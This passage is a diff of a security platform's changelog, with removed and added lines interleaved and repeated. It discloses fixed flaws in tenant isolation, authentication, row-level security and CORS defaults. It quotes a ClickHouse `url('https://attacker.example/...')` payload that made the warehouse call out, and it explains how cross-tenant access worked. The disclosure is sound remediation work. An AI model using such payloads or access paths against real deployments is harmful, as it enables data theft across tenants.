baseline is recorded in — the+ 19 surviving `union-attr` are all `mock.call_args` in tests.-- **Two dashboards published fabricated security data as tenant state.**- `DashboardView` and `SOCMetricsDashboard` both wrapped their SWR- `fallbackData` in `demoFallback()`, which is `undefined` outside the hosted- demo — and both then defeated that gate a few lines later with an- unconditional `const resolved = isValid ? data : MOCK`. The mock was- therefore exactly what rendered during first paint and after any API error,- which for a self-hoster with an empty or unreachable backend is the whole- session.+- **A cancelled context-graph walk crashed the context bundle.**+ `_fetch_neighborhoods` and `_fetch_ueba_baselines` filter+ `asyncio.gather(..., return_exceptions=True)` results with+ `isinstance(r, Exception)`, then unpack the survivors as a tuple.+ `asyncio.CancelledError` is a `BaseException` and not an `Exception` on 3.8+,+ so a cancelled child task passed the filter and reached the unpack as+ `TypeError: cannot unpack non-sequence CancelledError`. `services/slack-bot`+ carries a comment spelling out this exact trap; these two sites got it wrong.+ Both now filter on `BaseException`.- What that put on screen as the reader's own numbers: a connector inventory- they do not run (`CrowdStrike EDR`, 412 events), a MITRE tactic ranking, a- 24-hour alert-volume curve, MTTD 1.4h / MTTR 6.2h, and an LLM spend line of- $76.65 naming three models they had never configured. Three "vs yesterday"- trend deltas sat beside the real alert counts as literals — `/metrics/dashboard`- publishes no period-over-period comparison, so there was nothing to derive- them from.+- **A Google Workspace key that was valid JSON but not an object failed inside+ the JWT signing path.** `json.loads` returns a `str`, `list` or `int` for a+ document that is valid JSON and not an object, and the constructor accepted+ it; the failure surfaced later as `TypeError: string indices must be integers`+ at `self._key["client_email"]`, at the moment an operator triggered a live+ action. The configuration is wrong either way — it now says so when the+ credential is saved rather than when it is used.- Every panel now renders one of three honest states: real figures, an empty- state naming what would populate it, or an error state carrying the failure- and a retry that re-issues the request. Sample data still populates the- hosted demo, which is the only reason it exists.+- **`DEFAULT_SLA_TARGETS` was declared twice with disagreeing bodies, and+ neither matched the migration.** The second definition won by being later in+ the file and put `info` at `(480, 1440, 2880)`; the first said+ `(240, 960, 2880)`; migration 040 seeds `(240, 1440, 4320)`. A tenant's+ info-tier deadline therefore depended on whether it had a seeded row+ (240 min) or fell back to Python (480 min) — and `alert_queue` reads exactly+ this row as the `sla_due_at` catch-all for severities outside the four-tier+ ladder. One definition now, matching the migration, which is what is in the+ database.-- **The lake's tenant isolation could be switched off by resolving a- dependency one major version higher.** `lake_sql.rewrite_for_tenant` is the- only thing separating one tenant's events from another's in ClickHouse: it- parses untrusted operator SQL with sqlglot, enforces the table allowlist- against the parse tree, bans ClickHouse table functions, and injects the- `tenant_id` predicate. sqlglot 27 moved the SELECT's FROM clause from- `args["from"]` to `args["from_"]`. The table walk read the old key, got- nothing, and took the branch written for `SELECT 1` — "no FROM, so no tenant- data, nothing to do". Every single-table query then came back with no- allowlist check, no table-function ban and no tenant predicate, reported as- a successful rewrite.+- **`diff_fingerprints` was declared to return `dict[str, list[str]]` and never+ has.** It returns `unchanged_count` as an `int`, which the connector+ scheduler stores and a test asserts on. Because the scheduler assigns the+ result straight into a `dict[str, Any]` variable, the wrong declaration+ narrowed that variable and made the three correct lines underneath it look+ like type errors instead — one wrong annotation producing four findings across+ two modules. Declared `dict[str, Any]`, which is what both consumers and the+ JSONB column already expect.- `services/api/pyproject.toml` declared `sqlglot >=23.0.0,<31.0.0` while the- Dockerfile and every CI workflow declared `>=23,<27`, so this was reachable- by installing the service exactly as declared, and CI could not see it- because CI installed the narrow range. Verified on sqlglot 30.19.0 against- the pre-fix rewriter: `SELECT user_name FROM aisoc.raw_events` returned- unscoped, `SELECT * FROM system.tables` was accepted, and- `url('https://attacker.example/x', JSONEachRow)` was accepted — the last of- which makes the warehouse issue outbound HTTP with its own network identity.+- **`posture_loader` returned `None` from a function declared to return a+ dict** when a 200 response carried no `config` key, while the non-200 branch+ immediately above already returned `{}` for the same "nothing to load"+ outcome.- Three changes rather than one, because pinning alone would leave the trap- armed for the next bump. The FROM clause now resolves by node type instead- of by key name. `rewrite_for_tenant` ends with an audit that takes its own- independent census of the statement's tables and raises the new- `LakeSqlIsolationError` unless every one of them was scoped, the tenant- survived into the rendered string, and every rendered SELECT that reads a- lake table carries the tenant in its own WHERE — so a partially scoped- UNION fails too. And all seven install paths now declare one identical- range, enforced by `scripts/check_sqlglot_pin.py`, with- `.github/workflows/lake-isolation.yml` running the rewriter suites against- both the shipped range and the next major so a future bump fails loudly- instead of quietly downgrading isolation.+- **A load generator that could tick forever and send nothing.**+ `services/demo-producer` silently `continue`d when `http.NewRequestWithContext`+ failed, which only happens for a malformed URL — the one error in that+ loop no retry can clear. It now says so and stops.-- **Every entity chip in the Investigation Rail was a 404.**- `alert_rail.py` built its pivots as `/attack-graph?entity=…` and there has- never been an `attack-graph` route, so host, user, asset, IP and domain chips- all failed before the query parameter mattered. The rail's own docstring- described the working behaviour ("the same `?entity=` query the- AttackGraphView already parses"), and `pivot.ts` states as fact that the rail- emits `/graph?entity=…`; the code agreed with neither. Pivots now target- `/graph`, which reads the parameter and selects the node.+### Removed- The existing test pinned all six strings under a docstring claiming the pin- "prevents an accidental rename". It cannot — it compares the producer against- a copy of itself, which is how a route that never existed stayed asserted.- `services/api/tests/test_pivot_routes_resolve.py` derives the route table- from `apps/web/src/app` and checks it against what `build_related_entities`- actually returns, so the comparison now runs in the direction that drifts.+- **The identity timeline's phantom second source.** It queried a table named+ `aisoc_events` that no migration creates, nothing writes to, and that appears+ nowhere else in the repository — with its failure swallowed at `DEBUG`. It+ read as a second source of evidence while returning nothing on every+ deployment. The remaining source now reports itself on the response+ (`sources_unavailable`) when it cannot be read, so an empty timeline caused+ by a broken query is distinguishable from one caused by no matches.- The same test caught a second defect in the producer: values went into the- URL unencoded, so an asset named `Finance & Legal #2` pivoted to- `Finance & Legal` and looked like it had worked. Values are now encoded the- way `pivot.ts` encodes them.+- **The Chronicle warehouse scaffold.** It read `hunt.translated_query["udm"]`,+ nothing in the repository emits UDM, and it gated on two settings that were+ never fields — so it could not be selected and could not run, while+ `available_providers()` reported it as a supported warehouse. Adding a real+ one is a `register_provider` call plus a UDM translator.-- **Six funnel metrics were published as zero whatever the database held.**- `_funnel_window` merges `_triage_quality`'s output into the dict it returns,- but the `FunnelMetrics(...)` call never named `triaged_alerts`,- `abstentions`, `abstention_rate`, `ungrounded_demotions`,- `mean_groundedness` or `scored_verdicts`, so all six fell back to their- field defaults on every response. A published zero is a stronger claim than- silence: it reads as "this tenant never abstained, and nothing was ever- demoted for being ungrounded". The existing test asserted the six names were- present in `model_fields`, which they were — declaring a field and forwarding- it are different things. The replacement drives the endpoint and fails for- any field the window computes and the response drops, including ones added- later.+### Security-- **The Live Feed labelled an empty panel "Demo".** The seeded events were- gated behind `canUseDemoData()` in an earlier pass but `statusToLabel` was- not, so outside the hosted demo the panel rendered nothing at all under a- "Demo" pill whose tooltip read "showing demo data" — asserting the presence- of sample data that had just been correctly withheld. The pill now describes- what is on screen (`Live`, `Connected`, `Connecting…`, `Reconnecting…`,- `Offline`) and can only say `Demo` when seeded events are actually rendered,- and the idle panel carries an empty state naming what would fill it.+- **Fifty-eight routes across four services carried no authentication at all,+ and the previous gate could not see them.** `check_route_tenant_scope.py`+ asks a conditional question — *if* a route takes a tenant, where did the+ tenant come from — so a route that takes no tenant was never in its reach.+ 37 `services/agents` routes took none. Reproduced against the real routers+ with credential material configured, so the result is not "the service was+ unconfigured": an anonymous caller with no `Authorization` header created a+ playbook (201), listed all 64 (200), **executed one** (202) and deleted it+ (204), then read copilot conversations and ran a threat hunt. All seven+ refuse with 401 now, while a valid console session still gets a non-empty+ response.-- **The welcome banner quoted counts it had no source for and linked to a case- most deployments do not have.** It advertised "26 vendors" against a registry- of 84 and "25 named runbooks" with nothing holding either to the tree. The- connector figure now comes from `CONNECTOR_COUNT`, which is generated from- the connector registry and held to it by `scripts/generate_connector_count.py- --check`; the playbook figure is gone rather than guessed, because no- equivalent source exists. Its second call to action linked to- `/cases/INC-RT-001`, which exists only after the demo seed has run, so on- every other deployment the banner's own CTA was a dead link — that tip is now- gated on demo mode, takes its href from `demoDeeplink()` and says on its face- that it is sample data.+ `services/agents` keeps **dual-mode** auth rather than a bearer-only+ scheme, because the console reaches it directly through a Next rewrite on a+ session cookie: the guard is #813's `require_console_or_service_auth`,+ extended rather than replaced. Its WebSocket could not use the same+ dependency — a browser cannot set an `Authorization` header on a handshake,+ and an `HTTPException` has no defined rendering on a WebSocket scope — so+ `_ws_principal` reads the credential from the header or `?token=`, verifies+ it with the *same* vendored logic, and closes with 1008 before `accept()`.+ That route previously took its tenant from a query parameter defaulting to+ the literal `"default"`, which names no tenant anywhere in this schema, and+ would start a fresh investigation on the connection.-- **`SavedViewsBar` updated its parent while rendering.** The auto-apply of a- default saved view ran in the render body and called `onApply`, which for- every caller is a setState on the page component. React rejects that outright- and makes no promise about processing the update, so the filters an analyst- expected restored were not reliably applied. The comment described a ref-flag- that did not exist; it was `useState` with no effect anywhere. The chip- highlight is now derived rather than stored, and the one genuine side effect- — handing the filters to the page — happens in an effect. The existing- "exactly once" test could not catch this because its `onApply` was a bare- spy that set no state; the new test uses a real parent.+ Also closed: `connectors` (9 data routes, including the one that decrypts a+ saved instance's credentials to test them and the two that push into a+ customer's ITSM), `fusion` (5), `osquery-tls` (7), `threatintel` (1),+ `actions` (1) and 20 in `services/api` — among them `PUT /deployment/config`,+ `POST /deployment/airgap/bundle`, `POST /compliance/evidence/collect`, both+ LLM-backed `/translate` routes and the seven STIX/TAXII routes.-- **The alerts list was empty on every deployment, under a row count that was- real.** `AlertListResponse` returns the rows under `items`; the web client- read `raw.alerts`, which is never present, so `Array.isArray(undefined)` was- false and each page resolved to `[]` while `total` carried the true figure.- The queue therefore rendered "1,247 alerts" above an empty table with no- error to explain it, and an operator's most reasonable reading of that screen- was that their estate was quiet. The client now reads `items`, still accepts- the legacy `alerts` key the responder routes emit, and a test asserts the two- halves of the contract against each other so they cannot drift apart again.+ Two counts in the original report were **wrong, in the safe direction**, and+ the reason matters: `slack-bot` (5) and `teams-bot` (4) were never open. An+ AST pass sees no `Depends` and calls a route unauthenticated, but Slack Bolt+ verifies a request signature, `/approval-card` compares a shared internal+ token in constant time, and the Teams webhook verifies an HMAC-signed card+ payload with a replay window. `scripts/check_route_auth.py` models these as+ **conditional** exemptions that name the verifier and lapse the moment the+ handler stops calling it.-- **Two dashboards published fabricated security data as tenant state.**- `DashboardView` and `SOCMetricsDashboard` both wrapped their SWR- `fallbackData` in `demoFallback()`, which is `undefined` outside the hosted- demo — and both then defeated that gate a few lines later with an- unconditional `const resolved = isValid ? data : MOCK`. The mock was- therefore exactly what rendered during first paint and after any API error,- which for a self-hoster with an empty or unreachable backend is the whole- session.+- **Thirty routes across six services let the caller name the tenant they were+ reading.** `/fusion/entity-risk/*` was the reported instance and the worst+ one: three routes on the API gateway and three on the fusion service took+ `tenant_id` as a query parameter with no auth dependency at all. The console+ reaches fusion *directly* through a Next rewrite when `FUSION_URL` is set, so+ those routes were reachable from any browser on the internet, and an+ anonymous request naming another tenant's UUID returned that tenant's+ entity-risk queue, stats and per-entity detail. The engine's own docstring+ asserted the missing control — "the tenant_id is part of the key prefix and+ the API service re-checks tenant on read" — and the second half was not true+ on either side. Key prefixing isolates whichever tenant it is handed;+ validating the parameter's *value* fixes nothing, because a UUID that parses+ is still a UUID the caller chose.- What that put on screen as the reader's own numbers: a connector inventory- they do not run (`CrowdStrike EDR`, 412 events), a MITRE tactic ranking, a- 24-hour alert-volume curve, MTTD 1.4h / MTTR 6.2h, and an LLM spend line of- $76.65 naming three models they had never configured. Three "vs yesterday"- trend deltas sat beside the real alert counts as literals — `/metrics/dashboard`- publishes no period-over-period comparison, so there was nothing to derive- them from.+ An AST pass over all 600 routes in `services/` found the same shape in five+ more places, in two flavours. Taking a tenant with no authentication:+ `services/agents` `/triage/{run_id}`, `/cases/{id}/triage`,+ `/cases/{id}/investigate`, `/investigations` and `/explain`; and six+ `services/osquery-tls` routes. Taking one *with* authentication but never+ intersecting it with the caller's scope: `honeytokens`, `purple-team` and+ `ueba`, where a router-level service token proved the caller was a trusted+ service but said nothing about which tenant it was acting for.- Every panel now renders one of three honest states: real figures, an empty- state naming what would populate it, or an error state carrying the failure- and a retry that re-issues the request. Sample data still populates the- hosted demo, which is the only reason it exists.+ The tenant now comes from the credential. A new+ `app/security/tenant_scope.py`, vendored into the six services that need it,+ resolves either a console session (the first-party HS256 access token, whose+ verified `tenant_id` claim is authoritative) or a trusted service declaring+ the tenant it acts for on `X-AiSOC-Tenant-ID`. A `tenant_id` on the request+ survives only as a *filter*, intersected with that scope, so an MSSP+ operator can still narrow to one managed customer while naming an outside+ tenant narrows to nothing and returns 403. A service token that declares no+ tenant resolves to an empty scope and is refused: absent is never all, which+ is the shape every cross-tenant leak in this codebase has had. The HS256+ verification is stdlib-only and mirrors `services/realtime/src/auth.ts`,+ rejecting `alg: none`, a refresh token presented for access, and an expired+ or wrongly-signed token.++ Closing these surfaced a worse variant the parameter audit could not see:+ eight routes matched on an id with **no tenant predicate at all**.+ `honeytokens` `GET/PATCH/DELETE /{token_id}` and `/{token_id}/triggers`,+ `purple-team` `PATCH /executions/{id}/detection` and the three+ `/tabletop/{session_id}` routes, and `ueba`+ `PATCH /anomalies/{id}/acknowledge`. Any caller could read, revoke or delete+ another tenant's honeytoken, overwrite another tenant's detection outcome,+ or acknowledge away another tenant's anomaly by naming its UUID. All eight+ now filter on the caller's tenant as well as the id, so a foreign row is a+ 404 — which is what it is, from that caller's point of view.-- **The lake's tenant isolation could be switched off by resolving a- dependency one major version higher.** `lake_sql.rewrite_for_tenant` is the- only thing separating one tenant's events from another's in ClickHouse: it- parses untrusted operator SQL with sqlglot, enforces the table allowlist- against the parse tree, bans ClickHouse table functions, and injects the- `tenant_id` predicate. sqlglot 27 moved the SELECT's FROM clause from- `args["from"]` to `args["from_"]`. The table walk read the old key, got- nothing, and took the branch written for `SELECT 1` — "no FROM, so no tenant- data, nothing to do". Every single-table query then came back with no- allowlist check, no table-function ban and no tenant predicate, reported as- a successful rewrite.+- **Any authenticated user could disable detection rules inside any other+ tenant.** `_ensure_mssp_parent`, the guard on the MSSP write surface, had+ `pass` for a body. Four routes took a caller-supplied child tenant id and+ wrote it onto a row without checking whose child it was.- `services/api/pyproject.toml` declared `sqlglot >=23.0.0,<31.0.0` while the- Dockerfile and every CI workflow declared `>=23,<27`, so this was reachable- by installing the service exactly as declared, and CI could not see it- because CI installed the narrow range. Verified on sqlglot 30.19.0 against- the pre-fix rewriter: `SELECT user_name FROM aisoc.raw_events` returned- unscoped, `SELECT * FROM system.tables` was accepted, and- `url('https://attacker.example/x', JSONEachRow)` was accepted — the last of- which makes the warehouse issue outbound HTTP with its own network identity.+ The consequential one was `POST /api/v1/mssp/overrides`. An override with+ `action: "exclude"` is read back by `resolve_effective_rules`, filtered on+ `child_tenant_id == <the reader's tenant>`, and the rule is popped out of the+ set `POST /api/v1/rules/hunt` runs. So naming another tenant's id silently+ deleted a named detection from their hunts, and the victim's only symptom was+ a hunt that stopped matching. Reproduced against the previous commit: a+ tenant's effective ruleset went from one critical cloud rule to zero on an+ override written by an unrelated tenant.- Three changes rather than one, because pinning alone would leave the trap- armed for the next bump. The FROM clause now resolves by node type instead- of by key name. `rewrite_for_tenant` ends with an audit that takes its own- independent census of the statement's tables and raises the new- `LakeSqlIsolationError` unless every one of them was scoped, the tenant- survived into the rendered string, and every rendered SELECT that reads a- lake table carries the tenant in its own WHERE — so a partially scoped- UNION fails too. And all seven install paths now declare one identical- range, enforced by `scripts/check_sqlglot_pin.py`, with- `.github/workflows/lake-isolation.yml` running the rewriter suites against- both the shipped range and the next major so a future bump fails loudly- instead of quietly downgrading isolation.+ Closing those four routes alone would not have been enough, because+ `POST /api/v1/mssp/children/{id}/onboard` let anyone *become* the parent+ first — its only check was a `409` when the target already had a parent, so+ every standalone tenant on a deployment was adoptable by any authenticated+ user. Adoption now requires the child to have invited that specific parent by+ setting `settings.mssp_parent_invite` through `PATCH /api/v1/tenants/me/settings`,+ which only ever writes the caller's own row and is gated on `settings:write`.+ The invite is single-use. The child-scoped routes answer `404` rather than+ `403` for a tenant that is not yours, so they cannot enumerate tenant UUIDs.-- **Scheduled hunts ran against credentials that could not exist, so every one- of them returned zero hits.** The event-warehouse drivers resolved their- endpoint and secret from `settings.ES_URL` / `ES_API_KEY` / `SPLUNK_URL` /- `SPLUNK_HMAC_TOKEN` / `CHRONICLE_PROJECT_ID`. None of those were declared- fields on `Settings`; each was read through `getattr(settings, name, None)`,- so the miss was silent, and `Settings` sets `extra="ignore"`, so an operator- who followed the resulting "set them in environment variables" message and- exported `ES_URL` got the same message back. The scheduler treats the- resulting `HuntNotConfigured` as a soft skip, so the failure was invisible.+- **`/api/v1/identity-timeline` read every tenant's alerts.** Both routes bound+ an authenticated user and never used it: the SQL against `aisoc_alerts`+ carried no `tenant_id` predicate, so any authenticated caller could pull any+ tenant's alerts whose title or evidence matched a substring — and the+ substring is the search term, so the match is caller-controlled. Both routes+ are now scoped to the caller's tenant.- Credentials now resolve from the tenant's own `connectors` row — the one the- console wizard writes, encrypted by the credential vault — which is where- `federated.py` and `case_fanout.py` already read theirs. The warehouse is- per-tenant by construction as a result: a managed provider can point each- customer at their own cluster, which resolving from process settings made- impossible even in principle. `ES_URL` / `ES_API_KEY` are now declared- fields and remain as a deployment-wide fallback for single-cluster installs.+- **`/api/v1/playbooks` had no authentication at all.** The module declared no+ `Depends` of any kind across eight routes and there is no global auth+ middleware, so every route was reachable unauthenticated — including+ `POST /playbooks/{id}/run`, which executes a playbook against the estate.+ Each route now demands `playbooks:read`, `playbooks:write` or+ `playbooks:execute`; all three permissions already existed in+ `ROLE_PERMISSIONS` and had no reader. `:execute` stays distinct from+ `:write` so an analyst can run a governed playbook without editing one.-- **Provider selection ignored which SIEM the tenant had connected.**- `resolve_provider` returned the first driver whose `translated_query_key`- appeared in the hunt, and the natural-language translator emits ES|QL, SPL- *and* KQL for every question — so `esql` was always present and- Elasticsearch was always chosen, including for tenants who run only Splunk.- Selection is now driven by the tenant's enabled connectors first and the- available translation second.+- **`scripts/check_tenant_query_predicates.py` — the predicate question.**+ Closing the parameter shape surfaced eight routes matching on an id with no+ tenant predicate; the sweep that found them was opportunistic. This gate+ asks the question structurally over the whole tree, and the model and table+ inventories are **derived from the tree** (a model's `tenant_id` column, the+ migrations' DDL) rather than listed, so a new migration cannot slip past.+ It matters most where nothing stands behind it: of 95 tenant-scoped tables+ only 31 carry an RLS policy, and RLS engages only on a session that ran+ `SET LOCAL app.current_tenant_id`.-- **`POST /nl-query/execute` documented two request fields it ignored.**- `es_url` and `es_api_key` were described as overrides and silently dropped.- `es_url` now selects among the caller's own Elasticsearch connectors by- host, matched against connectors they own and never used as an outbound- target; `es_api_key` is refused with 400, because credentials belong in the- vault-encrypted connector rather than in a request body.+ Real leaks it found beyond the known eight:-### Added+ - `GET /graph/attack-path/{case_id}`'s **relational fallback** read+ `aisoc_cases` by id with no tenant predicate. The primary Neo4j path is+ scoped, but the fallback runs precisely when that path failed — and its+ own docstring says it exists so deployments without a graph database keep+ working, i.e. permanently for many of them. An authenticated caller naming+ another tenant's case UUID got its title, severity, MITRE techniques and+ alert ids.+ - `GET /osquery/distributed/{query_id}` was **both** unauthenticated and+ unscoped. `osquery_distributed_query` has no `tenant_id` of its own — it+ is reached through its node — so the lookup now joins onto+ `osquery_node.tenant_id`. Demonstrated with two seeded tenants: before,+ tenant B naming tenant A's `query_id` got A's host telemetry back; after,+ nothing.+ - `alert_explain._resolve_rule_lineage` selected a detection rule by an id+ lifted out of the alert's `raw_event` — vendor-supplied, so a crafted+ event could name another tenant's rule and have its definition explained+ back.+ - The ITSM webhook inserted its system comment into `aisoc_case_comments`+ **without `tenant_id` at all**, leaving rows belonging to no tenant since+ migration 044 added the column.+ - Thirteen by-id writes (`alerts` escalate/snooze/update, four `connectors`,+ three detection-rule routes, `claim_alert`, `run_saved_hunt`) were scoped+ only by a preceding read. Not exploitable as written, and one reorder from+ being scoped by nothing.-- **Two-way SIEM integration: an AiSOC verdict is written back onto the- finding that produced the alert.** The integration only ever ran inbound. A- Splunk notable became an alert, the agent triaged it, and the notable sat in- the Splunk queue untouched — so an analyst re-read a finding AiSOC had- already dismissed, and a finding AiSOC had confirmed waited its turn behind- them. Nothing on `main` wrote a disposition back to any SIEM in any form.+ What cannot be decided statically sits on a **shrink-only ratchet** — 34+ entries, each with a reason, `MAX_RATCHET` asserted against the table's+ length, and an entry whose statement is now scoped failing as *stale*. That+ last property caught two of this change's own edits.- New capability `update_alert_disposition` with five vendor arms (Splunk ES,- Elastic Security, Microsoft Sentinel, IBM QRadar, Microsoft Defender), two- new clients (`sentinel_client.py`, `qradar_client.py`), migration- `057_alert_source_links.sql`, and `POST /api/v1/alerts/{id}/source-writeback`.- The agents triage worker posts to that route after the verdict is durable and- fails soft — the verdict outranks its writeback, and an unreachable Splunk- must not dead-letter an alert that was triaged correctly. Docs:- [Integrations → SIEM writeback](apps/docs/docs/integrations/siem-writeback.md).+- **Row-level security covered 31 of 95 tenant-scoped tables; it now covers 92,+ and the seven policies that already existed but could never work are+ repaired.** On the other 64 tables the query predicate was the only thing+ between two customers, so one missing `WHERE tenant_id` was a leak rather+ than something a second layer caught — which is not the design the+ repository documents. `060_rls_coverage.sql` adds a policy to every+ remaining table in the API chain, and the four services that manage their+ own schema (honeytokens, osquery-tls, purple-team, ueba) each carry a+ matching alembic revision. The three that remain are named rather than+ rounded away: `users` is excluded so authentication can resolve a principal+ before a tenant exists, and `case_tasks` / `case_timeline` are ORM models+ that no migration creates.- **The disposition mapping is the safety argument, not the approval tier.** A- confirmed true positive is *escalated and never closed*: it is the finding a- human most needs to see, and closing it because the platform is confident is- how an agent turns a real intrusion into a resolved ticket nobody read. An- unknown verdict is *refused, never guessed* — which matters because- `normalize_disposition` defaults an unrecognised string to `true_positive`,- so a mapper that normalised first would convert "I do not recognise this"- into a confident claim. Only benign and false-positive verdicts may close a- finding, and `benign_true_positive` is classified as a correct detection of- authorised activity rather than as a false positive, so it never inflates a- rule's own FP rate.+ Four things found along the way, each invisible for the same reason:- **Governance ships dry-run by default.** `AISOC_SIEM_WRITEBACK_ENABLED`- defaults on and `AISOC_SIEM_WRITEBACK_EXECUTE` defaults **off**, so an- operator opts in to writing into their own SIEM. Anything that is not an- explicit yes — including a typo — is read as a dry run. `executed` is the- single field that means a vendor was touched; it is carried on the API- response, on the worker's return value, and as a no-default column on- `alert_source_links`, so a dry run, a refusal and a credential-less- simulation can never be read as a write that happened. Projecting a closing- verdict onto a linked Jira / ServiceNow ticket needs a third flag- (`AISOC_SIEM_WRITEBACK_CLOSE_CASE`, off) because the ITSM connectors project- a status transition rather than a note, so the only truthful way to reach the- ticket is to resolve the case for real.+ - **The application bypasses RLS entirely.** `docker-compose.yml` and the CI+ service containers run every service as `POSTGRES_USER=aisoc`, which the+ postgres image creates as a superuser, and a superuser ignores policies+ even under `FORCE ROW LEVEL SECURITY`. Measured, not inferred: with two+ alerts seeded one per tenant and the session bound to tenant A, that role+ sees both and a `NOSUPERUSER NOBYPASSRLS` role sees one. The security doc+ claimed the opposite — "there is no superuser escape hatch via the+ application's DB role" — and now carries the grant that makes it true.+ - **Seven policies were keyed on a session variable nothing sets.**+ `alert_sla_events` and `tenant_sla_config` read `app.tenant_id`;+ `custom_parsers` and `retention_policies` read `app.current_tenant`;+ `compliance_evidence` had no unset-context arm. All five returned zero+ rows once RLS engaged. `external_assets` and `external_asset_drift` called+ `current_setting` without `missing_ok`, so an unbound session raised+ `unrecognized configuration parameter` instead. All seven are normalised+ to the canonical predicate.+ - **The agents service had the mirror-image bug.** Its four+ `_set_rls_context` helpers wrote `app.tenant_id` while every policy reads+ `app.current_tenant_id`, so the scoping they exist to provide had never+ been applied — the policies fell through their fail-open arm every time.+ - **Five tables had RLS enabled without `FORCE`**, so the table owner —+ which is the application — walked past the policy regardless.-- **The join key survives ingest.** `finding.uid` — the vendor's own id for a- finding — reached the OCSF envelope and was then discarded, so by the time a- row hit `alerts` the notable's rule UID, the Elastic signal id and the QRadar- offense id were gone and no verdict could be aimed at anything. Fusion now- carries it onto `alerts.external_id` and writes an `alert_source_links` row,- but only for a vendor with a writeback arm: a link to a system AiSOC cannot- write to would read as a two-way integration that is not one.+ `tests/isolation/test_postgres_rls.py` is the evidence, wired into+ `integration.yml`'s migrations job where a real database with the full chain+ already exists. It seeds an A row and a B row into every RLS-covered tenant+ table (80 of 80 in the API chain), asserts both are visible unscoped before+ asserting either absence, then binds the session to A and asserts B's row is+ unreachable. It also asserts the shipped role's bypass, so a green run here+ can never be read as "tenant isolation is on in production".-- **A SOC operations dashboard at `/dashboards/operations`.** `/dashboard`- answers what is happening in the estate; this answers whether the machine- that reports it is working. The distinction matters because every failure- mode of a detection pipeline makes it *quieter* — a connector stops polling,- a schema changes and events bounce, a token expires — and an alert-centric- view reports all three as good news.+- **The attack-path relational fallback is verified against a real Postgres.**+ `GET /graph/attack-path/{case_id}` reads `aisoc_cases` by id whenever the+ Neo4j traversal fails — which for a deployment shipping no graph database is+ always. It gained a tenant predicate in the previous release, but that fix+ was covered by a gate and by review only: the statement uses+ `CAST(:cid AS UUID)`, which SQLite mangles, so no offline suite could execute+ it. Tenant B naming tenant A's case UUID is now demonstrated to be refused+ against the database the query is written for, with tenant A's row asserted+ present first.- Six panels, each backed by one endpoint and owning its own fetch, loading,- empty and error state: connector fleet staleness (`/health/fleet`), rejected- events by reason (`/health/dead-letters`), alert severity and disposition- (`/alerts/stats`), detection coverage counting only *enabled* rules- (`/detection/coverage`), agent runs/tokens/spend (`/costs/dashboard`), and- response actions paused for approval (`/approvals`). The first three had no- web client at all.+- The case-timeline linked-alert hydration in `cases.py` now binds a tenant as+ defence in depth. Reaching it already required a tenant-scoped case, so this+ was not a live read, but a poisoned `alert_ids` array would otherwise have+ surfaced another tenant's alert title.- Fleet staleness is reported against each connector's own cadence — "3.2- intervals behind" rather than an absolute age, because a daily connector and- a five-minute connector are not late at the same wall-clock time. One dead- endpoint blanks one panel and names the failure; it does not take the page- down and does not substitute plausible figures.+- **`services/osquery-tls` enrolled every node under the literal `"default"`,+ which resolves to no tenant on any seeded deployment.** The service keys+ `tenant_id` as a `String(64)` while the platform keys UUIDs, and nothing+ translated. Migration `001` seeds the canonical tenant with slug `default`,+ but the demo seed renames that slug to `demo`, so the literal matched+ neither the UUID nor the slug and silently matched nothing: FIM events were+ written under a string the console could never ask for, and the FIM surface+ returned an empty table that looked like "no file changes" rather than "the+ read and the write disagree". `app/services/tenant_resolver.py` now resolves+ the placeholder to the canonical seed tenant by its **stable UUID** —+ ignoring whatever the slug has been renamed to — falling back to the sole+ tenant of a single-tenant install, and refusing enrolment for a genuinely+ unknown ref rather than filing the node under an unreadable tenancy. Skips+ log at `warning` with the ref; a silent `debug` skip is how the original bug+ survived.-- **Federated SIEM search has a console surface.** `/api/v1/federated/backends`- and `/api/v1/federated/search` have fanned one query out to Splunk, Microsoft- Sentinel, Elastic and QRadar — in parallel, against each tenant's own- vault-encrypted credentials — for some time. `apps/web` had no client for- either, so the capability was reachable only from the SDK. `/federated-search`- now exposes it: pick which connected SIEMs to query, describe the search once- in free text plus optional `field operator value` filters, and read the merged- rows.+- **The maintainers' hosted origin shipped in the default CORS allow-list of+ nine services.** `services/{api,agents,connectors,honeytokens,purple-team,ueba}`+ (six byte-identical copies of the shared `cors.py`), `services/realtime`, and+ the Go `ingest` and `enrichment` servers all listed `https://tryaisoc.com` and+ `https://www.tryaisoc.com` among the origins they trust when+ `AISOC_CORS_ORIGINS` is unset. That is one deployment's public origin baked+ into every self-hosted install, trusted for credentialed cross-origin+ requests its operator never opted into — and if that domain ever changed+ hands, the grant travels with it. The default is now local development only;+ the hosted deployment already sets `CORS_ORIGINS` explicitly+ (`infra/fly/api/fly.toml`), so nothing legitimate depended on the default.+ `apps/docs/docs/deployment/env-vars.md` documented the old list and was+ corrected with it, and a new gate pins the six vendored `cors.py` copies+ byte-identical — nothing enforced that before, and a single drifted copy is+ exactly how one service would quietly keep the origin.- The design constraint the page is built around is the endpoint's per-source- isolation. It deliberately never fails the whole call because one backend is- slow, 401s or 5xxs; it returns a verdict per backend instead. A UI that- renders only the merged rows discards that, and the analyst cannot tell- "Sentinel has nothing" from "Sentinel did not answer" — opposite conclusions- mid-incident. So the per-backend strip renders above the rows, always, with- each backend's own row count, latency and error message. A backend that- failed shows no row count, because "0 rows" beside a timeout reads as- "nothing matched". An empty result set is labelled "No matching events" when- a backend answered and matched nothing, and "No backend returned results"- when every backend failed.+- **The seeded demo identity was a live, operator-owned domain.**+ `[email protected]`, paired with a published password, appeared across+ compose, fly, render, coolify, railway, two workflows, the web Dockerfile and+ the docs. It told a self-hoster to type somebody else's hostname to sign in+ to their own install, and published a well-known credential pair against a+ real domain. Now `[email protected]` — RFC 2606 reserved, so it can never be+ registered and can never receive mail, and it still satisfies the+ `pydantic.EmailStr` check that rejected the earlier `[email protected]`. Every+ config and doc moved with it. Safe to re-run: `seed_demo._ensure_user`+ reconciles on `DEMO_USER_ID`, not on the address, and rewrites a stale email+ in place.- Recognised entities in a row deep-link to `/graph?entity=<type>:<value>`.- Recognition is a fixed per-vendor field-name list rather than a heuristic:- `src_ip`, `source.ip` and `SourceIP` all resolve to the same IP pivot, while- `zip`, `recipient` and `description` resolve to none.+- **`scripts/check_route_auth.py` — default-deny over all 601 routes.** Every+ route must carry an auth dependency or appear in one of three tables, each+ recording why it is public. It reuses the tenant-scope gate's AST collector+ rather than adding a second parser: building it surfaced that+ `playbooks.py`'s `ExecuteUser = Annotated[AuthUser, Depends(require_permission(...))]`+ was reported as an unauthenticated 